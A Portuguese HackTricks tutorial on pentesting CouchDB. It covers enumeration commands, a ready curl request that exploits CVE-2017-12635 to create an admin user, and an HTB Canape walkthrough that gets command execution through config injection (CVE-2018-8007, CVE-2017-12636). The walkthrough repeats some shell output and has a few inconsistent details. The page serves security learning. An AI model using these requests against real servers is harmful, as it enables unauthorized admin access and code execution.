hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

21 KiB

5984,6984 - Pentesting CouchDB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

CouchDB é um banco de dados orientado a documentos e dentro de cada documento os campos são armazenados como mapas de chave-valor. Os campos podem ser um par chave/valor simples, lista ou mapa.

Cada documento armazenado no banco de dados recebe um identificador único em nível de documento (_id) bem como um número de revisão (_rev) para cada alteração que é feita e salva no banco de dados.

Porta padrão: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Enumeração Automática

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Enumeração Manual

Banner

curl http://IP:5984/

Esta ação emite uma solicitação GET para a instância instalada do CouchDB. A resposta deve se parecer com uma das seguintes:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Observe que se ao acessar a raiz do couchdb você receber um 401 Unauthorized com algo como: {"error":"unauthorized","reason":"Authentication required."} você não será capaz de acessar o banner ou qualquer outro endpoint. {% endhint %}

Enumeração de Informações

Estes são os endpoints onde você pode acessar com uma requisição GET e extrair algumas informações interessantes. Você pode encontrar mais endpoints e descrições mais detalhadas na documentação do couchdb.

  • /_active_tasks Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
  • /_all_dbs Retorna uma lista de todos os bancos de dados na instância do CouchDB.
  • /_cluster_setup Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
  • /_db_updates Retorna uma lista de todos os eventos de banco de dados na instância do CouchDB. A existência do banco de dados _global_changes é necessária para usar este endpoint.
  • /_membership Exibe os nós que fazem parte do cluster como cluster_nodes. O campo all_nodes mostra todos os nós que este nó conhece, incluindo os que fazem parte do cluster.
  • /_scheduler/jobs Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
  • /_scheduler/docs Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados completed e failed. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino e outras informações.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} O endpoint /_node/{node-name} pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar /_node/_local para recuperar essa informação.
  • /_node/{node-name}/_stats O recurso _stats retorna um objeto JSON contendo as estatísticas para o servidor em execução. A string literal _local serve como um alias para o nome do nó local, então para todas as URLs de estatísticas, {node-name} pode ser substituído por _local, para interagir com as estatísticas do nó local.
  • /_node/{node-name}/_system O recurso _system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução_._ Você pode usar ___local como {node-name} para obter informações do nó atual.
  • /_node/{node-name}/_restart
  • /_up Confirma que o servidor está ativo, em funcionamento e pronto para responder a solicitações. Se maintenance_mode for true ou nolb, o endpoint retornará uma resposta 404.
  • /_uuids Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB.
  • /_reshard Retorna uma contagem de trabalhos completados, falhados, em execução, parados e o total, junto com o estado do resharding no cluster.

Mais informações interessantes podem ser extraídas conforme explicado aqui: https://lzone.de/cheat-sheet/CouchDB

Lista de Bancos de Dados

curl -X GET http://IP:5984/_all_dbs

Se essa solicitação responder com um 401 não autorizado, então você precisa de credenciais válidas para acessar o banco de dados:

curl -X GET http://user:password@IP:5984/_all_dbs

Para encontrar Credenciais válidas, você pode tentar forçar bruta do serviço.

Este é um exemplo de uma resposta couchdb quando você tem privilégios suficientes para listar bancos de dados (É apenas uma lista de dbs):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informações do Banco de Dados

Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista de Documentos

Listar cada entrada dentro de um banco de dados

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Ler Documento

Leia o conteúdo de um documento dentro de um banco de dados:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Escalação de Privilégios no CouchDB CVE-2017-12635

Graças às diferenças entre os analisadores de JSON do Erlang e do JavaScript, você poderia criar um usuário administrador com as credenciais hacktricks:hacktricks com a seguinte solicitação:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Mais informações sobre essa vulnerabilidade aqui.

CouchDB RCE

Nos documentos do CouchDB, na seção de configuração de cluster, fala sobre as diferentes portas usadas pelo CouchDB:

CouchDB em modo cluster usa a porta 5984 assim como em standalone, mas também usa 5986 para APIs locais de nó.

Erlang usa a porta TCP 4369 (EPMD) para encontrar outros nós, então todos os servidores devem ser capazes de se comunicar entre si nesta porta. Em um Cluster Erlang, todos os nós estão conectados a todos os outros nós. Uma malha.

E então há um aviso interessante:

1536931232858

Se olharmos na lista de processos, podemos ver o cookie, “monster”:

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Você pode ler esta seção para aprender como abusar dos cookies do Erlang para obter RCE.
Além disso, você pode ler alguns relatórios de máquinas Canape HTB como este para ver e praticar como explorar essa vulnerabilidade.

CVE-2018-8007 bem-sucedido com permissões de escrita no local.ini

Ao escrever este post, descobri que um novo CVE havia sido divulgado para o CouchDB pela mdsec, CVE-2018-8007. Ele também requer permissões de escrita no arquivo local.ini, então não é uma opção útil para o Canape. Mas, como já tornei o arquivo editável como root, vamos ver se conseguimos fazê-lo funcionar.

Comece com um local.ini limpo e agora editável (e um backup):

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Podemos usar o curl para modificar as origens no arquivo local.ini. A vulnerabilidade aqui é que, se usarmos o curl para colocar uma nova origem e em seguida novas linhas, podemos escrever informações adicionais, incluindo um novo cabeçalho e detalhes. Então, vamos tirar vantagem do campo [os_daemons] e adicionar um processo para o CouchDB tentar manter em execução:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

No shell root, podemos ver o que muda:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

E ainda assim, o arquivo não está lá:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

Se olharmos para os processos em execução com "couchdb" na linha de comando, veremos não apenas a linha de comando que nos fornece o valor do cookie que usamos anteriormente, mas também runsrv couchdb:

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

Se matarmos esse processo, ele volta imediatamente (observe o novo pid):

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

E, ao reiniciar, executa os OS_Daemons:

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Tentativa bem-sucedida via CVE-2017-12636 com permissões de escrita local.ini

CVE-2017-12636 permite a execução de código através do processo couchdb. No entanto, não funcionará nesta configuração.

Existem alguns POCs disponíveis como referência:

Precisaríamos escrever um novo query_server e, em seguida, invocá-lo. Quando Canape foi lançado, a maioria dos POCs era para couchdb 1.x, mas esta caixa está executando a versão 2, então o caminho dos query_servers da maioria dos POCs não existe. Isso mudou agora, mas vamos seguir os mesmos passos. Primeiro, obtenha a versão e mostre que o caminho 1.X não existe:

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

Atualize com o novo caminho para 2.0:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

A partir daí, devemos adicionar um query_server e então invocá-lo, mas não somos capazes.

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

Algumas pesquisas no Google mostram que isso é um problema de permissões. De fato, se verificarmos com nosso shell root, podemos ver que o arquivo local.ini não é gravável por ninguém, muito menos por www-data:

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

Portanto, isso é um beco sem saída para o Canape. Mas se quisermos tentar fazê-lo funcionar, podemos torná-lo legível com nosso acesso root ou homer e continuar por esse caminho. Faremos um backup do original para podermos ver as mudanças:

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

Agora, voltando ao nosso shell www-data:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

Recebemos de volta o valor anterior para o servidor de consulta cmd, o que significa sucesso. E no shell root, podemos ver que funcionou:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

Agora, devemos ser capazes de criar um db e, em seguida, um documento nesse db, e então solicitá-lo com uma view que mapeia nosso query_server para obter execução.

Criar db e documento:

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

Solicite-o em uma view:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

Resumo com um payload diferente

Shodan

  • port:5984 couchdb

Referências

Aprenda a hackear AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: